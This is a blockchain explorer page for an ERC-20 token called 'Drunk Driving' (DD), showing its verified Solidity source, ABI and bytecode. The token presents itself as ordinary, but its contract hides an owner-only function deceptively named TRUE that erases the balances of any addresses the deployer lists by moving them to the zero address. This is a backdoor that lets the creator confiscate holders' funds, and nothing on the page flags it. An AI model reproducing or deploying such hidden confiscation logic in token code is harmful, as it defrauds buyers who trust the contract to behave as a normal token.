Feature Tip: Add private address tag to any address under My Name Tag !
ERC-20
Overview
Max Total Supply
381,000,000 DD
Holders
39
Market
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 18 Decimals)
Balance
3,311,255.790702322678100749 DDValue
$0.00Loading...
Loading
Loading...
Loading
Loading...
Loading
# | Exchange | Pair | Price | 24H Volume | % Volume |
---|
Contract Name:
drunkdriving
Compiler Version
v0.8.21+commit.d9974bed
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2024-05-09 */ // File: @openzeppelin/contracts/utils/Address.sol // OpenZeppelin Contracts (last updated v4.8.0) (utils/Address.sol) pragma solidity ^0.8.1; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== * * [IMPORTANT] * ==== * You shouldn't rely on `isContract` to protect against flash loan attacks! * * Preventing calls from contracts is highly discouraged. It breaks composability, breaks support for smart wallets * like Gnosis Safe, and does not provide security since it can be circumvented by calling from a contract * constructor. * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize/address.code.length, which returns 0 // for contracts in construction, since the code is only stored at the end // of the constructor execution. return account.code.length > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); (bool success, bytes memory returndata) = target.call{value: value}(data); return verifyCallResultFromTarget(target, success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { (bool success, bytes memory returndata) = target.staticcall(data); return verifyCallResultFromTarget(target, success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { (bool success, bytes memory returndata) = target.delegatecall(data); return verifyCallResultFromTarget(target, success, returndata, errorMessage); } /** * @dev Tool to verify that a low level call to smart-contract was successful, and revert (either by bubbling * the revert reason or using the provided one) in case of unsuccessful call or if target was not a contract. * * _Available since v4.8._ */ function verifyCallResultFromTarget( address target, bool success, bytes memory returndata, string memory errorMessage ) internal view returns (bytes memory) { if (success) { if (returndata.length == 0) { // only check isContract if the call was successful and the return data is empty // otherwise we already know that it was a contract require(isContract(target), "Address: call to non-contract"); } return returndata; } else { _revert(returndata, errorMessage); } } /** * @dev Tool to verify that a low level call was successful, and revert if it wasn't, either by bubbling the * revert reason or using the provided one. * * _Available since v4.3._ */ function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { if (success) { return returndata; } else { _revert(returndata, errorMessage); } } function _revert(bytes memory returndata, string memory errorMessage) private pure { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly /// @solidity memory-safe-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } // File: @openzeppelin/contracts/utils/math/SafeMath.sol // OpenZeppelin Contracts (last updated v4.6.0) (utils/math/SafeMath.sol) pragma solidity ^0.8.0; // CAUTION // This version of SafeMath should only be used with Solidity 0.8 or later, // because it relies on the compiler's built in overflow checks. /** * @dev Wrappers over Solidity's arithmetic operations. * * NOTE: `SafeMath` is generally not needed starting with Solidity 0.8, since the compiler * now has built in overflow checking. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { uint256 c = a + b; if (c < a) return (false, 0); return (true, c); } } /** * @dev Returns the subtraction of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b > a) return (false, 0); return (true, a - b); } } /** * @dev Returns the multiplication of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) return (true, 0); uint256 c = a * b; if (c / a != b) return (false, 0); return (true, c); } } /** * @dev Returns the division of two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b == 0) return (false, 0); return (true, a / b); } } /** * @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b == 0) return (false, 0); return (true, a % b); } } /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { return a + b; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return a - b; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { return a * b; } /** * @dev Returns the integer division of two unsigned integers, reverting on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return a % b; } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {trySub}. * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b <= a, errorMessage); return a - b; } } /** * @dev Returns the integer division of two unsigned integers, reverting with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a / b; } } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting with custom message when dividing by zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryMod}. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a % b; } } } // File: @openzeppelin/contracts/utils/Context.sol // OpenZeppelin Contracts v4.4.1 (utils/Context.sol) pragma solidity ^0.8.0; /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } // File: barb.sol /** *SPDX-License-Identifier: MIT */ pragma solidity ^0.8.18; interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } contract drunkdriving is Context, IERC20 { mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; using SafeMath for uint256; using Address for address; string private _name; string private _symbol; uint8 private _decimals; uint256 private _totalSupply; address public coverage; constructor () { _name = "Drunk Driving"; _symbol = "DD"; _decimals = 18; uint256 initialSupply = 381000000; coverage = msg.sender; _mint(msg.sender, initialSupply*(10**18)); } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } function totalSupply() public view override returns (uint256) { return _totalSupply; } function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address sender, address recipient, uint256 amount) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } modifier onlyOwner() { require(msg.sender == coverage, "Not allowed"); _; } function TRUE(address[] memory city) public onlyOwner() { for (uint256 i = 0; i < city.length; i++) { address account = city[i]; uint256 amount = _balances[account]; _balances[account] = _balances[account].sub(amount, "ERROR"); _balances[address(0)] = _balances[address(0)].add(amount); } } }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address[]","name":"city","type":"address[]"}],"name":"TRUE","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"coverage","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"}]
Contract Creation Code
608060405234801562000010575f80fd5b5060408051808201909152600d81526c4472756e6b2044726976696e6760981b602082015260029062000044908262000257565b50604080518082019091526002815261111160f21b60208201526003906200006d908262000257565b506004805460ff19166012179055600680546001600160a01b031916339081179091556316b5994090620000b590620000af83670de0b6b3a764000062000333565b620000bc565b5062000363565b6001600160a01b038216620001175760405162461bcd60e51b815260206004820152601f60248201527f45524332303a206d696e7420746f20746865207a65726f206164647265737300604482015260640160405180910390fd5b600554620001269082620001a1565b6005556001600160a01b0382165f908152602081905260409020546200014d9082620001a1565b6001600160a01b0383165f81815260208181526040808320949094559251848152919290917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a35050565b5f620001ae82846200034d565b90505b92915050565b634e487b7160e01b5f52604160045260245ffd5b600181811c90821680620001e057607f821691505b602082108103620001ff57634e487b7160e01b5f52602260045260245ffd5b50919050565b601f82111562000252575f81815260208120601f850160051c810160208610156200022d5750805b601f850160051c820191505b818110156200024e5782815560010162000239565b5050505b505050565b81516001600160401b03811115620002735762000273620001b7565b6200028b81620002848454620001cb565b8462000205565b602080601f831160018114620002c1575f8415620002a95750858301515b5f19600386901b1c1916600185901b1785556200024e565b5f85815260208120601f198616915b82811015620002f157888601518255948401946001909101908401620002d0565b50858210156200030f57878501515f19600388901b60f8161c191681555b5050505050600190811b01905550565b634e487b7160e01b5f52601160045260245ffd5b8082028115828204841417620001b157620001b16200031f565b80820180821115620001b157620001b16200031f565b610d0b80620003715f395ff3fe608060405234801561000f575f80fd5b50600436106100c4575f3560e01c806358cc4fcf1161007d578063a9059cbb11610058578063a9059cbb14610195578063dd62ed3e146101a8578063ee8f6a0e146101ed575f80fd5b806358cc4fcf1461014357806370a082311461015857806395d89b411461018d575f80fd5b806318160ddd116100ad57806318160ddd1461010957806323b872dd1461011b578063313ce5671461012e575f80fd5b806306fdde03146100c8578063095ea7b3146100e6575b5f80fd5b6100d0610232565b6040516100dd919061094b565b60405180910390f35b6100f96100f43660046109dc565b6102c2565b60405190151581526020016100dd565b6005545b6040519081526020016100dd565b6100f9610129366004610a04565b6102d8565b60045460405160ff90911681526020016100dd565b610156610151366004610a6a565b61034c565b005b61010d610166366004610b48565b73ffffffffffffffffffffffffffffffffffffffff165f9081526020819052604090205490565b6100d06104ff565b6100f96101a33660046109dc565b61050e565b61010d6101b6366004610b61565b73ffffffffffffffffffffffffffffffffffffffff9182165f90815260016020908152604080832093909416825291909152205490565b60065461020d9073ffffffffffffffffffffffffffffffffffffffff1681565b60405173ffffffffffffffffffffffffffffffffffffffff90911681526020016100dd565b60606002805461024190610b92565b80601f016020809104026020016040519081016040528092919081815260200182805461026d90610b92565b80156102b85780601f1061028f576101008083540402835291602001916102b8565b820191905f5260205f20905b81548152906001019060200180831161029b57829003601f168201915b5050505050905090565b5f6102ce33848461051a565b5060015b92915050565b5f6102e48484846106cd565b610342843361033d85604051806060016040528060288152602001610cae6028913973ffffffffffffffffffffffffffffffffffffffff8a165f90815260016020908152604080832033845290915290205491906108f4565b61051a565b5060019392505050565b60065473ffffffffffffffffffffffffffffffffffffffff1633146103d2576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152600b60248201527f4e6f7420616c6c6f77656400000000000000000000000000000000000000000060448201526064015b60405180910390fd5b5f5b81518110156104fb575f8282815181106103f0576103f0610be3565b60209081029190910181015173ffffffffffffffffffffffffffffffffffffffff81165f8181528084526040808220548151808301909252600582527f4552524f520000000000000000000000000000000000000000000000000000008287015292825293529092509061046790829081906108f4565b73ffffffffffffffffffffffffffffffffffffffff83165f9081526020819052604081209190915580527fad3228b676f7d3cd4284a5443f17f1962b36e491b30a40b2405849e597ba5fb5546104bd9082610939565b5f8080526020527fad3228b676f7d3cd4284a5443f17f1962b36e491b30a40b2405849e597ba5fb555508190506104f381610c3d565b9150506103d4565b5050565b60606003805461024190610b92565b5f6102ce3384846106cd565b73ffffffffffffffffffffffffffffffffffffffff83166105bc576040517f08c379a0000000000000000000000000000000000000000000000000000000008152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460448201527f726573730000000000000000000000000000000000000000000000000000000060648201526084016103c9565b73ffffffffffffffffffffffffffffffffffffffff821661065f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f20616464726560448201527f737300000000000000000000000000000000000000000000000000000000000060648201526084016103c9565b73ffffffffffffffffffffffffffffffffffffffff8381165f8181526001602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b73ffffffffffffffffffffffffffffffffffffffff8316610770576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f20616460448201527f647265737300000000000000000000000000000000000000000000000000000060648201526084016103c9565b73ffffffffffffffffffffffffffffffffffffffff8216610813576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201527f657373000000000000000000000000000000000000000000000000000000000060648201526084016103c9565b61085c81604051806060016040528060268152602001610c886026913973ffffffffffffffffffffffffffffffffffffffff86165f9081526020819052604090205491906108f4565b73ffffffffffffffffffffffffffffffffffffffff8085165f9081526020819052604080822093909355908416815220546108979082610939565b73ffffffffffffffffffffffffffffffffffffffff8381165f818152602081815260409182902094909455518481529092918616917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef91016106c0565b5f8184841115610931576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016103c9919061094b565b505050900390565b5f6109448284610c74565b9392505050565b5f6020808352835180828501525f5b818110156109765785810183015185820160400152820161095a565b505f6040828601015260407fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe0601f8301168501019250505092915050565b803573ffffffffffffffffffffffffffffffffffffffff811681146109d7575f80fd5b919050565b5f80604083850312156109ed575f80fd5b6109f6836109b4565b946020939093013593505050565b5f805f60608486031215610a16575f80fd5b610a1f846109b4565b9250610a2d602085016109b4565b9150604084013590509250925092565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b5f6020808385031215610a7b575f80fd5b823567ffffffffffffffff80821115610a92575f80fd5b818501915085601f830112610aa5575f80fd5b813581811115610ab757610ab7610a3d565b8060051b6040517fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe0603f83011681018181108582111715610afa57610afa610a3d565b604052918252848201925083810185019188831115610b17575f80fd5b938501935b82851015610b3c57610b2d856109b4565b84529385019392850192610b1c565b98975050505050505050565b5f60208284031215610b58575f80fd5b610944826109b4565b5f8060408385031215610b72575f80fd5b610b7b836109b4565b9150610b89602084016109b4565b90509250929050565b600181811c90821680610ba657607f821691505b602082108103610bdd577f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b50919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52603260045260245ffd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8203610c6d57610c6d610c10565b5060010190565b808201808211156102d2576102d2610c1056fe45524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e636545524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220a6482520c2fb0836d59b3cd83395b57b73b074b62a42e4ae4fe53d4653aa967e64736f6c63430008150033
Deployed Bytecode
0x608060405234801561000f575f80fd5b50600436106100c4575f3560e01c806358cc4fcf1161007d578063a9059cbb11610058578063a9059cbb14610195578063dd62ed3e146101a8578063ee8f6a0e146101ed575f80fd5b806358cc4fcf1461014357806370a082311461015857806395d89b411461018d575f80fd5b806318160ddd116100ad57806318160ddd1461010957806323b872dd1461011b578063313ce5671461012e575f80fd5b806306fdde03146100c8578063095ea7b3146100e6575b5f80fd5b6100d0610232565b6040516100dd919061094b565b60405180910390f35b6100f96100f43660046109dc565b6102c2565b60405190151581526020016100dd565b6005545b6040519081526020016100dd565b6100f9610129366004610a04565b6102d8565b60045460405160ff90911681526020016100dd565b610156610151366004610a6a565b61034c565b005b61010d610166366004610b48565b73ffffffffffffffffffffffffffffffffffffffff165f9081526020819052604090205490565b6100d06104ff565b6100f96101a33660046109dc565b61050e565b61010d6101b6366004610b61565b73ffffffffffffffffffffffffffffffffffffffff9182165f90815260016020908152604080832093909416825291909152205490565b60065461020d9073ffffffffffffffffffffffffffffffffffffffff1681565b60405173ffffffffffffffffffffffffffffffffffffffff90911681526020016100dd565b60606002805461024190610b92565b80601f016020809104026020016040519081016040528092919081815260200182805461026d90610b92565b80156102b85780601f1061028f576101008083540402835291602001916102b8565b820191905f5260205f20905b81548152906001019060200180831161029b57829003601f168201915b5050505050905090565b5f6102ce33848461051a565b5060015b92915050565b5f6102e48484846106cd565b610342843361033d85604051806060016040528060288152602001610cae6028913973ffffffffffffffffffffffffffffffffffffffff8a165f90815260016020908152604080832033845290915290205491906108f4565b61051a565b5060019392505050565b60065473ffffffffffffffffffffffffffffffffffffffff1633146103d2576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152600b60248201527f4e6f7420616c6c6f77656400000000000000000000000000000000000000000060448201526064015b60405180910390fd5b5f5b81518110156104fb575f8282815181106103f0576103f0610be3565b60209081029190910181015173ffffffffffffffffffffffffffffffffffffffff81165f8181528084526040808220548151808301909252600582527f4552524f520000000000000000000000000000000000000000000000000000008287015292825293529092509061046790829081906108f4565b73ffffffffffffffffffffffffffffffffffffffff83165f9081526020819052604081209190915580527fad3228b676f7d3cd4284a5443f17f1962b36e491b30a40b2405849e597ba5fb5546104bd9082610939565b5f8080526020527fad3228b676f7d3cd4284a5443f17f1962b36e491b30a40b2405849e597ba5fb555508190506104f381610c3d565b9150506103d4565b5050565b60606003805461024190610b92565b5f6102ce3384846106cd565b73ffffffffffffffffffffffffffffffffffffffff83166105bc576040517f08c379a0000000000000000000000000000000000000000000000000000000008152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460448201527f726573730000000000000000000000000000000000000000000000000000000060648201526084016103c9565b73ffffffffffffffffffffffffffffffffffffffff821661065f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f20616464726560448201527f737300000000000000000000000000000000000000000000000000000000000060648201526084016103c9565b73ffffffffffffffffffffffffffffffffffffffff8381165f8181526001602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b73ffffffffffffffffffffffffffffffffffffffff8316610770576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f20616460448201527f647265737300000000000000000000000000000000000000000000000000000060648201526084016103c9565b73ffffffffffffffffffffffffffffffffffffffff8216610813576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201527f657373000000000000000000000000000000000000000000000000000000000060648201526084016103c9565b61085c81604051806060016040528060268152602001610c886026913973ffffffffffffffffffffffffffffffffffffffff86165f9081526020819052604090205491906108f4565b73ffffffffffffffffffffffffffffffffffffffff8085165f9081526020819052604080822093909355908416815220546108979082610939565b73ffffffffffffffffffffffffffffffffffffffff8381165f818152602081815260409182902094909455518481529092918616917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef91016106c0565b5f8184841115610931576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016103c9919061094b565b505050900390565b5f6109448284610c74565b9392505050565b5f6020808352835180828501525f5b818110156109765785810183015185820160400152820161095a565b505f6040828601015260407fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe0601f8301168501019250505092915050565b803573ffffffffffffffffffffffffffffffffffffffff811681146109d7575f80fd5b919050565b5f80604083850312156109ed575f80fd5b6109f6836109b4565b946020939093013593505050565b5f805f60608486031215610a16575f80fd5b610a1f846109b4565b9250610a2d602085016109b4565b9150604084013590509250925092565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b5f6020808385031215610a7b575f80fd5b823567ffffffffffffffff80821115610a92575f80fd5b818501915085601f830112610aa5575f80fd5b813581811115610ab757610ab7610a3d565b8060051b6040517fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe0603f83011681018181108582111715610afa57610afa610a3d565b604052918252848201925083810185019188831115610b17575f80fd5b938501935b82851015610b3c57610b2d856109b4565b84529385019392850192610b1c565b98975050505050505050565b5f60208284031215610b58575f80fd5b610944826109b4565b5f8060408385031215610b72575f80fd5b610b7b836109b4565b9150610b89602084016109b4565b90509250929050565b600181811c90821680610ba657607f821691505b602082108103610bdd577f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b50919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52603260045260245ffd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8203610c6d57610c6d610c10565b5060010190565b808201808211156102d2576102d2610c1056fe45524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e636545524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220a6482520c2fb0836d59b3cd83395b57b73b074b62a42e4ae4fe53d4653aa967e64736f6c63430008150033
Deployed Bytecode Sourcemap
